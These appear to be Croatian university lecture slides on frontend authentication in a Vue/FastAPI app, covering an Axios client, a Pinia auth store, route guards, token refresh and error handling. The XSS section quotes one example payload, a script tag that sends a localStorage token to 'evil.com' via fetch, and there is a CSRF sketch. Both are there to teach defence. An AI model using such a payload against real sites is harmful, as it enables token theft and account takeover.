

Razvoj web aplikacija - Predavanje 8

API komunikacija, auth flow i route guardovi

mag.ing. Josip Torić (SIT UNIZD)

30.11.2026.



Plan predavanja

- 1 HTTP komunikacija iz frontenda (Axios)
- 2 API client wrapper s base URL i interceptorima
- 3 Auth store: login, token storage, refresh
- 4 Login stranica
- 5 Route guardovi po roli
- 6 Globalni error handling
- 7 Commitovi za ovo predavanje

Na kraju predavanja: korisnik se može prijaviti, frontend pamti token, zaštićene rute traže autentikaciju.

Nakon ovog predavanja student može:

- konfigurirati Axios instance s base URL-om i interceptorima
- implementirati auth store koji upravlja JWT tokenima
- objasniti zašto se access token drži u memoriji, a refresh u httpOnly cookieu ili localStorageu
- implementirati route guard koji provjerava autentikaciju i rolu
- hendlati 401 response automatskim refreshom tokena

Kako frontend komunicira s backendom

Frontend ne pristupa bazi direktno. Sva komunikacija ide kroz HTTP:

Vue komponenta → API client → HTTP → FastAPI → PostgreSQL

Akcija u UI-ju	HTTP metoda	Endpoint
Prijava korisnika	POST	/auth/login
Dohvat natjecatelja	GET	/clubs/{id}/lifters
Dodavanje natjecatelja	POST	/clubs/{id}/lifters
Promjena kategorije	PATCH	/competitions/{id}/registrations

HTTP iz browsera: Fetch vs Axios

Fetch API (native)

- Ugrađen u browser - nema dependencija
- Ne baca exception na 4xx/5xx (samo network error)
- Ručno parsiranje JSON-a (`.json()`)
- Nema interceptore

Axios

- Automatski JSON parse/serialize
- Baca exception na 4xx/5xx
- Request i response interceptori
- Konfigurabilni timeout
- Širi browser support

Za projekt s auth flowom, interceptorima i error handlingom, Axios štedi dosta boilerplate koda. Za jednostavan GET request, Fetch je sasvim dovoljan.

Što su interceptori

Interceptori su **middleware** za HTTP requestove i responseove. Svaki request/response prolazi kroz njih prije nego što dođe do komponente.

Komponenta → Request interceptor → Server → Response
interceptor → Komponenta

Tip	Upotreba
Request interceptor	Dodaj Authorization header na svaki request
Response interceptor	Uhvati 401, napravi token refresh, ponovi request
Error interceptor	Centralizirano logiranje grešaka

Bez interceptora biste morali ručno dodavati token i hendlati 401 u svakoj komponenti.

Async/await na frontendu

API pozivi su asinkroni - ne blokiraju UI dok čekamo odgovor servera.

- 1 Korisnik klikne gumb → pokrene se async funkcija
- 2 Postavimo `loading = true` → UI prikaže spinner
- 3 `await api.get(...)` → čekamo odgovor (UI ostaje responsivan)
- 4 Odgovor stigne → ažuriramo podatke → `loading = false`
- 5 Ako dođe do greške → `catch` blok prikaže poruku

`async/await` je sintaktički šećer nad Promiseima. Čini asinkroni kod čitljivim kao sinkroni, ali ne blokira main thread.

CORS: zašto browser blokira, a Postman ne

Browser primjenjuje **Same-Origin Policy** - JavaScript može slati requestove samo na isti origin s kojeg je stranica učitana.

Alat	Blokira cross-origin?
Browser (Chrome, Firefox)	Da - zaštita korisnika
Postman / curl	Ne - nema origin koncept
Backend-to-backend	Ne - server nema origin policy

Ovo je **sigurnosna zaštita** za krajnjeg korisnika. Bez nje, maliciozna stranica bi mogla slati requestove na API vaše banke koristeći vaše cookieje. CORS je mehanizam kojim backend eksplicitno dopušta iznimke.

CORS u praksi: prvi request će vam pasti

Vite dev server je na :5173, FastAPI na :8000 - različiti origini. Prvi Axios poziv završava s „blocked by CORS policy” u konzoli dok backend ne dopusti vaš origin:

```
# app/main.py (backend!)
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["http://localhost:5173"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)
```

Ovo je dev konfiguracija - dovoljna do kraja semestra. Produkcijску verziju s env varijablom i preflight detaljima radimo u Predavanju 12. Zapamtite simptom: frontend „ne radi”, a greška je na backendu.

Axios: API client wrapper

```
// src/api/client.ts
import axios, { type AxiosError,
  type InternalAxiosRequestConfig } from 'axios'

const api = axios.create({
  baseURL: import.meta.env.VITE_API_URL || 'http://localhost:8000',
  headers: { 'Content-Type': 'application/json' },
})

// Interceptor: dodaje token na svaki request
api.interceptors.request.use(
  (config: InternalAxiosRequestConfig) => {
    const token = localStorage.getItem('access_token')
    if (token) {
      config.headers.Authorization = `Bearer ${token}`
    }
    return config
  })

export default api
```

baseURL se čita iz env varijable - drugačiji za dev i produkciju.

API pozivi: primjeri

```
// src/api/auth.ts
import api from './client'

export interface LoginResponse {
  access_token: string; refresh_token: string
}

export async function login(username: string, password: string) {
  const { data } = await api.post<LoginResponse>('/auth/login', {
    username, password,
  })
  return data
}

export async function getMe() {
  const { data } = await api.get('/auth/me')
  return data
}

// src/api/lifters.ts
export async function getLifters(clubId: number) {
  const { data } = await api.get(`/clubs/${clubId}/lifters`)
  return data
}
```

Token storage: opcije

	localStorage	Memorija (ref/store)
Persistencija	Ostaje nakon refresh/zatvaranja	Gubi se na refresh
XSS ranjivost	Da - JS može čitati	Da - ali teže iskoristivo
Jednostavnost	Jednostavno	Treba refresh token flow

Za ovaj kolegij koristimo **localStorage** jer je jednostavniji. U produkcijskim aplikacijama razmotrite httpOnly cookie za refresh token.

Access token ima kratki životni vijek (15 min) pa čak i ako je ukraden, šteta je ograničena. Refresh token služi za tiho obnavljanje.

XSS napad: kako krade token

XSS (Cross-Site Scripting) - napadač ubaci JavaScript u stranicu koji se izvršava u kontekstu korisnika.

- 1 Napadač pronađe input koji se renderira bez escapanja
- 2 Ubaci: `<script>fetch('https://evil.com?t='+localStorage.getItem('token'))</script>`
- 3 Kad žrtva posjeti stranicu, skripta se izvrši u njezinu browseru
- 4 Token je poslan napadaču - napadač se može prijaviti kao žrtva

Vue automatski escapa template izraze (`{{...}}`) što štiti od većine XSS-a. Opasnost je `v-html` direktiva koja renderira sirovi HTML - koristiti samo za trusted sadržaj.

CSRF napad i SameSite zaštita

CSRF (Cross-Site Request Forgery) - napadač natjera korisnikov browser da pošalje request na drugi site koristeći postojeći cookie.

- 1 Korisnik je prijavljen na bank.com (ima session cookie)
- 2 Posjeti evil.com koja ima `<form action="bank.com/transfer">`
- 3 Browser automatski pošalje cookie s requestom
- 4 Banka izvrši transfer jer je cookie validan

Zaštita: SameSite=Lax ili Strict na cookieju sprečava slanje cookieja s cross-origin requestova. Mi koristimo Authorization header umjesto cookieja za access token - CSRF nije primjenjiv.

Defense in depth za auth

Sigurnost ne ovisi o jednom mehanizmu. Kombiniramo više slojeva:

Sloj	Što štiti
Kratki access token (15 min)	Ograničava štetu ako je ukraden
Refresh token (dugotrajan)	Omogućava sesiju bez ponovnog logina
CORS	Sprečava requestove s neautoriziranih origina
HTTPS	Sprečava presretanje tokena u transportu
Input escaping (Vue)	Sprečava XSS koji bi ukrao token

Nijedan od ovih mehanizama sam nije dovoljan. Zajedno čine sustav otpornim na najčešće napade.

Auth store (Pinia)

```
// src/stores/auth.ts
import { defineStore } from 'pinia'
import { ref, computed } from 'vue'
import { login as apiLogin, getMe } from '@/api/auth'

interface User { id: number; username: string;
  role: 'admin' | 'club'; club_id: number | null }

export const useAuthStore = defineStore('auth', () => {
  const user = ref<User | null>(null)
  const token =
    ref<string | null>(localStorage.getItem('access_token'))

  const isAuthenticated = computed(() => !!token.value)
  const isAdmin = computed(() => user.value?.role === 'admin')

  async function login(username: string, password: string) {
    const data = await apiLogin(username, password)
    token.value = data.access_token
    localStorage.setItem('access_token', data.access_token)
    localStorage.setItem('refresh_token', data.refresh_token)
    user.value = await getMe()
  }

  function logout() {
    token.value = null
    user.value = null
    localStorage.removeItem('access_token')
    localStorage.removeItem('refresh_token')
  }

  return { user, token, isAuthenticated, isAdmin, login, logout }
})
```

Login stranica

```
<script setup lang="ts">
import { ref } from 'vue'
import { useRouter } from 'vue-router'
import { useAuthStore } from '@stores/auth'

const auth = useAuthStore()
const router = useRouter()
const username = ref('')
const password = ref('')
const error = ref('')

async function handleLogin() {
  try {
    error.value = ''
    await auth.login(username.value, password.value)
    router.replace('/')
  } catch (e) {
    error.value = 'Pogresan username ili lozinka'
  }
}
</script>
```

Login stranica: template

```
<template>
  <div class="login-page">
    <h1>Prijava</h1>
    <form @submit.prevent="handleLogin">
      <div>
        <label>Username</label>
        <input v-model="username" required />
      </div>
      <div>
        <label>Lozinka</label>
        <input v-model="password" type="password" required />
      </div>
      <p v-if="error" class="error">{{ error }}</p>
      <button type="submit">Prijavi se</button>
    </form>
  </div>
</template>
```

@submit.prevent sprečava defaultno ponašanje forme (page reload). v-model dvosmjerno povezuje input s ref().

Route guard: zaštita ruta

```
// src/router/index.ts
router.beforeEach((to, from) => {
  const auth = useAuthStore()

  // Javne rute - ne trebaju auth
  if (to.name === 'login') return true

  // Nije prijavljen - redirect na login
  if (!auth.isAuthenticated) {
    return { name: 'login' }
  }

  // Admin rute - provjera role
  if (to.meta.requiresAdmin && !auth.isAdmin) {
    return { name: 'dashboard' }
  }

  return true
})
```

beforeEach se poziva prije svake navigacije. Ako vrati objekt s name, korisnik je preusmjeren.

Meta polja na rutama

```
const routes = [
  { path: '/login', name: 'login', component: LoginView },
  {
    path: '/',
    name: 'dashboard',
    component: DashboardView,
    // nema meta - samo treba auth (guard provjerava)
  },
  {
    path: '/admin',
    component: AdminLayout,
    meta: { requiresAdmin: true },
    children: [
      { path: 'clubs', component: AdminClubsView },
      { path: 'competitions', component: AdminCompetitionsView },
    ],
  },
]
```

meta polja su custom podaci na ruti. Guard ih čita i odlučuje smije li korisnik pristupiti.

Navigation guards: tipovi

Vue Router ima tri razine navigation guardova:

Tip	Gdje se definira	Kad koristiti
Global	<code>router.beforeEach()</code>	Auth provjera za cijelu aplikaciju
Per-route	<code>beforeEnter</code> na ruti	Specifična pravila za jednu rutu
In-component	<code>onBeforeRouteLeave()</code>	„Imate nespremljene promjene” dijalog

Mi koristimo globalni guard za auth jer svaka ruta osim logina zahtijeva prijavu. Per-route guard bismo koristili za npr. admin-only stranicu s posebnom logikom.

Frontend guard vs backend zaštita

Frontend guard je **UX poboljšanje**, ne sigurnosna zaštita.

Frontend guard

- Sprečava navigaciju na zabranjenu rutu
- Korisnik ne vidi stranicu
- Može se zaobići (DevTools, direktan API poziv)
- Služi za bolji UX

Backend zaštita

- Provjerava token na svakom requestu
- Vraća 401/403 ako nema pristupa
- Ne može se zaobići
- Autoritet za sigurnost

Oboje su potrebni. Frontend guard sprečava konfuziju, backend sprečava zloupotrebu.

Auth stanje pri refreshu stranice

Problem: kad korisnik refresha stranicu, Pinia store se resetira na početne vrijednosti.

- 1 Korisnik refresha stranicu → Pinia state = prazan
- 2 Guard vidi `isAuthenticated = false` → redirect na login
- 3 Ali token još postoji u `localStorage`!

Rješenje: pri startu aplikacije provjerimo `localStorage` i pozovemo `/auth/me`:

- 1 Čitamo token iz `localStorage`
- 2 Ako postoji - pozovemo `GET /auth/me`
- 3 Ako uspije - popunimo store s user podacima
- 4 Ako ne uspije (token istekao) - brišemo `localStorage`, redirect na login

401 interceptor: automatski refresh

```
// src/api/client.ts
api.interceptors.response.use(
  (response) => response,
  async (error: AxiosError) => {
    const original = error.config as
      InternalAxiosRequestConfig & { _retry?: boolean }
    if (error.response?.status === 401 && !original._retry) {
      original._retry = true
      try {
        const refresh = localStorage.getItem('refresh_token')
        const { data } = await axios.post(
          `${original.baseURL}/auth/refresh`,
          { refresh_token: refresh },
        )
        localStorage.setItem('access_token', data.access_token)
        localStorage.setItem('refresh_token', data.refresh_token)
        original.headers.Authorization =
          `Bearer ${data.access_token}`
        return api(original)
      } catch {
        // refresh failed - logout
        localStorage.clear()
        window.location.href = '/login'
      }
    }
    return Promise.reject(error)
  }
)
```

Kako radi 401 interceptor

- ➊ Korisnik radi request s isteklim access tokenom
- ➋ Backend vraća **401 Unauthorized**
- ➌ Interceptor hvata 401, šalje refresh token na `/auth/refresh`
- ➍ Ako refresh uspije - sprema nove tokene, ponavlja originalni request
- ➎ Ako refresh ne uspije (refresh token istekao) - logout i redirect na login

Korisnik ne primjećuje refresh - request se automatski ponovi s novim tokenom. Jedino ako je i refresh token istekao, korisnik mora ponovo upisati lozinku.

Globalni error handling

```
// src/api/client.ts - dodajemo u response interceptor

// Za sve ostale greske (ne-401)
api.interceptors.response.use(
  (response) => response,
  (error: AxiosError<{ message?: string }>) => {
    const status = error.response?.status
    const data = error.response?.data

    if (status === 403) {
      console.error('Nemate pristup:', data?.message)
    } else if (status === 422) {
      console.error('Validacijska greska:', data)
    } else if (status >= 500) {
      console.error('Server error:', status)
    }

    return Promise.reject(error)
  }
)
```

Centralizirani error handling - ne trebamo try/catch za iste scenarije u svakoj komponenti.

Vue errorHandler: protiv bijelog ekrana

Interceptor hvata HTTP greške, ali ne i greške u samim komponentama - exception u renderu ruši SPA u prazan ekran. Zadnja linija obrane:

```
// src/main.ts
const app = createApp(App)

app.config.errorHandler = (err, instance, info) => {
  console.error('Vue error:', err, info)
  // u produkciji: posalji u error tracking (Sentry)
  // i prikazi korisniku genericku poruku
}
```

errorHandler hvata sve neuhvaćene greške iz komponenti, computeda i watchera. Korisnik umjesto bijelog ekrana dobiva poruku, a vi u konzoli ili error trackingu vidite što je puklo. Isti „fail gracefully” princip koji backend već ima kroz exception handler.

Auth flow: login

- 1 Korisnik otvori aplikaciju → guard provjeri token
- 2 Nema tokena → redirect na /login
- 3 Korisnik unese credentials → POST /auth/login
- 4 Backend vrati access + refresh token → spremimo u localStorage
- 5 Pozovemo /auth/me → spremimo user objekt u store
- 6 `router.replace('/') → korisnik vidi dashboard`

Auth flow: token lifecycle

- 1 Svaki request ide s `Authorization: Bearer <token>`
- 2 Token istekne → 401 → interceptor radi refresh
- 3 Refresh istekne → logout → natrag na login

Korisnik ne primjećuje refresh - cijeli ciklus se odvija automatski u interceptoru.

Race condition pri refreshu tokena

Što ako dva API poziva istovremeno dobiju 401?

- 1 Request A dobije 401 → šalje refresh
- 2 Request B dobije 401 → također šalje refresh
- 3 Refresh za A uspije - novi token
- 4 Refresh za B koristi stari refresh token koji je već iskorišten → fail
- 5 Korisnik je izbačen bez razloga

Rješenje: koristiti **queue pattern** - prvi 401 pokrene refresh, svi ostali čekaju rezultat tog refresha. Naš interceptor koristi `_retry` flag kao jednostavnu verziju ovog patterna.

Centralizirani vs distribuirani error handling

Centralizirani (interceptor)

- 401: automatski refresh
- 403: „Nemate pristup”
- 500: „Server error”
- Isti handling za sve requestove

Distribuirani (try/catch)

- 409: „Natjecatelj je već prijavljen”
- 422: prikaz field-level grešaka
- Specifičan za kontekst

Koristimo oba. Interceptor hendla generičke greške automatski. Komponenta hendla specifične greške koje zahtijevaju kontekstualan prikaz.

Testiranje auth flowa u DevTools

DevTools tab	Što provjeravamo
Network	Jesu li requestovi poslani s Authorization headerom? Koji status code smo dobili?
Application > Local Storage	Postoje li access_token i refresh_token? Jesu li ažurirani nakon refresha?
Console	Ima li grešaka? Jesu li interceptori logirali nešto?
Vue DevTools > Pinia	Je li auth store ažuriran? Ima li user objekt?

Za testiranje refresh flowa: otvorite Application tab, ručno obrišite access_token, napravite bilo koji API poziv. Interceptor bi trebao automatski refreshati token.

Commitovi za Predavanje 8

- `feat(web): add API client wrapper with base URL and interceptors`
- `feat(web): implement auth store (Pinia) and login page`
- `feat(web): add route guards for role-based access (admin/club)`
- `feat(web): implement token refresh flow and 401 handling`
- `fix(web): add global error handling and toast/alert pattern`

Na satu: implementiramo auth od nule, testiramo login/refresh u browseru, provjeravamo guardove.

Što ide sljedeće (Predavanje 9)

- State management s Piniom za poslovne entitete
- CRUD viewovi: lista, forma, detalji
- Loading, error i empty stanja
- Forme s validacijom

Pitanja?